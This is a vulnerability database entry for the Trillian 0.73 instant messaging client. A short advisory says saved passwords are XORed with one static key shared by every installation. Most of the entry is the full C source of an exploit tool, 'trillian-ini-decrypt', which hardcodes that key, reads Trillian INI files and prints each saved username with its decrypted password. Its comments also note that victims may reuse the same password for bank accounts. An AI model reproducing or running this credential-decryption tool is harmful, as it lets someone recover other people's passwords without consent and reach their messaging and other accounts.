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Trillian Instant Messaging Client
by:
Evan Nemerson
4.3
CVSS
MEDIUM
Weak Encryption
327 (Use of a Broken or Risky Cryptographic Algorithm)
CWE
Product Name: Trillian Instant Messaging Client
Affected Version From: Trillian 0.73
Affected Version To: Trillian 0.73
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
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Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2002

Trillian Instant Messaging Client Weak Encryption Vulnerability

The Trillian instant messaging client uses weak encryption to store saved authentication credentials for instant messaging services. The credentials are encrypted by using XOR with a static key that is used with every installation of the software. Local attackers may potentially exploit this weakness to gain access to another user's instant messaging credentials.

Mitigation:

Ensure that strong encryption algorithms are used to store authentication credentials.
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/5677/info

The Trillian instant messaging client uses weak encryption to store saved authentication credentials for instant messaging services. The credentials are encrypted by using XOR with a static key that is used with every installation of the software.

Local attackers may potentially exploit this weakness to gain access to another user's instant messaging credentials. 

/********************************
 * trillian-ini-decrypt
 * By The Coeus Group
 * http://www.coeus-group.com
 ********************************
 * 	Software: 	Trillian 0.73, possibly others.
 *	Issue:		Weak "encryption" of saved passwords.
 *	Impact:		Decryption of saved passwords.
 *	Severity:	Medium. ish. The program only works locally, and only
 *			if the subject has saved their password, and really
 *			if someone can get into your AIM account, how earth-
 *			shattering is that??? However, since a lot of people
 *			use the same password for everything... What's easier,
 *			getting the password from Trillian, or Wells Fargo???
 ********************************
 * Trillian is, according to trillian.cc, "...everything you need for instant
 * messaging. Connect to ICQ�, AOL Instant Messenger(SM), MSN Messenger, Yahoo!
 * Messenger and IRC in a single, sleek and slim interface."
 *
 * Upon examination of the Trillian directory (which defaults to
 * C:\Program Files\Trillian\ ), it appears that passwords are stored in
 * ini files that are located in {Path to Trillian}\users\{WindowsLogon}. The
 * passwords are encrypted using a simple XOR with a key apparently uniform
 * throughout every installation.
 *
 * This program takes, as command line argument(s), path(s) to these INI files.
 * It will then display a list of usernames, "encrypted" passwords, and plaintext
 * passwords.
 *
 * Evan Nemerson
 * enemerson@coeus-group.com */

#include <stdio.h>
#include <errno.h>
#include <stdlib.h>

#ifndef FALSE
#define FALSE 0
#endif

#ifndef TRUE
#define TRUE 1
#endif

void toupper(char* string);
int strlen(const char *s);
int strBeginsWith(const char *needle, const char *haystack);
int strIs(const char *subj, const char *eq);
void extractAcctounts(FILE *fp);
char *hex2str(char *string);
void decrypt();
void outPasswds();
void printhelp();
int main(int argc, char *argv[]);

struct account
{
	char username[64];
	char cyphertext[64];
	char plaintext[32];
};

extern int errno;
struct account *pAccounts[32];
short int nAccounts = 0;
char key[] =		"\xF3\x26\x81\xC4"
			"\x39\x86\xDB\x92"
			"\x71\xA3\xB9\xE6"
			"\x53\x7A\x95\x7C";

void toupper(char* string)
{
	short int x = 0;
	for ( x = 0 ; x < (strlen(string)) ; x++ )
	{
		if ( ( string[x] > 96 ) && ( string[x] < 123 ) )
			string[x] -= 32;
	}
}

int strlen(const char *s)
{
	short int n = 0;
	while ( s[n] != 0 )
		n++;
	return n;
}

int strBeginsWith(const char *needle, const char *haystack)
{
	short int x;

	if ( strlen(needle) > strlen(haystack) )
		return FALSE;

	for ( x = 0 ; x < strlen(needle) ; x++ )
	{
		if ( needle[x] != haystack[x] )
			return FALSE;
	}

	return TRUE;
}

int strIs(const char *subj, const char *eq)
{
	short int x;

	if ( strlen(subj) != strlen(eq) )
		return FALSE;
	for ( x = 0 ; x < strlen(subj) ; x++ )
	{
		if ( subj[x] != eq[x] )
			return FALSE;
	}

	return TRUE;
}

void extractAcctounts(FILE *fp)
{
	char buff[256], *ptr;
	int x;
	while ( !feof(fp) )
	{
		fgets(buff, 255, fp);
		if ( strBeginsWith("name=", buff) )
		{
			buff[strlen(buff)-1] = 0;
			pAccounts[nAccounts] = (struct account*)malloc(sizeof(struct account));
			if ( pAccounts[nAccounts] == NULL )
			{
				perror("Failed to malloc()");
				exit(errno);
			}
			ptr = pAccounts[nAccounts]->username;
			for ( x = 5 ; x < strlen(buff) ; x++ )
			{
				ptr[x-5] = buff[x];
			}
			ptr[x-5] = 0;
			nAccounts++;
		}
		if ( strBeginsWith("password=", buff) )
		{
			buff[strlen(buff)-1] = 0;
			ptr = pAccounts[nAccounts-1]->cyphertext;
			for ( x = 9 ; x < strlen(buff) ; x++ )
			{
				ptr[x-9] = buff[x];
			}
			ptr[x-9] = 0;
		}
	}
}

char *hex2str(char *string)
{
	int x=0,n=0,i=0;
	unsigned char hex[2];
	unsigned char *out;
	out = (unsigned char*)malloc((strlen(string)/2)+1);
	if ( out == NULL )
	{
		perror("Failed to malloc()");
		exit(errno);
	}

	// For hex number...
	for ( x = 0 ; x < strlen(string) ; x+=2 )
	{
		out[i] = 0;
		// Convert ASCII 0-F to decimal.
		hex[0] = string[x]-48;
		hex[1] = string[x+1]-48;
		for ( n = 0 ; n < 2 ; n++ )
		{
			if ( hex[n] > 9 )
				hex[n] -= 7;
		}
		out[i++] = (hex[0]*16)+hex[1];
	}
	out[i++] = 0;
	return out;
}

void decrypt()
{
	int n, x;
	char *plain, *cypher;

	for ( x = 0 ; x < nAccounts ; x++ )
	{
		cypher = hex2str(pAccounts[x]->cyphertext);
		plain  = pAccounts[x]->plaintext;

		for ( n = 0 ; n < (strlen(cypher)-1) ; n++ )
		{
			plain[n] = cypher[n] ^ key[n];
		}
	}
}

void outPasswds()
{
	int x;
	printf(
		"/----------------------------\\\n"
		"| trillian-ini-decrypt       |\n"
		"| By The Coeus Group         |\n"
		"| http://www.coeus-group.com |\n"
		"\\----------------------------/\n");
	printf("Found %d accounts.\n\n", nAccounts);
	for ( x = 0 ; x < nAccounts ; x++ )
	{
		printf(	"Username:           : %s\n"
			"Password (encrypted): %s\n"
			"Password (decrypted): %s\n\n",
			pAccounts[x]->username,
			pAccounts[x]->cyphertext,
			pAccounts[x]->plaintext
		);
	}
}

void printhelp()
{
	printf(	"Just put the path to Trillian INI file as command-line\n"
		"parameter. Don't forget to quote as needed. Will accept\n"
		"multiple files.\n");
	exit(0);
}

int main(int argc, char *argv[])
{
	short int x;
	FILE *fp;

	if ( ( argc < 2 ) ) { printhelp(); }
	if (	( strIs(argv[1],     "-h") )	|
		( strIs(argv[1], "--help") )	|
		( strIs(argv[1],     "/?") )
	) printhelp();

	for ( x = 1 ; x < argc ; x++ )
	{
		fp = fopen(argv[x], "r");
		if ( fp == NULL )
		{
			perror("Error");
			exit(errno);
		}
		extractAcctounts(fp);
	}

	decrypt();
	outPasswds();

	return 0;
}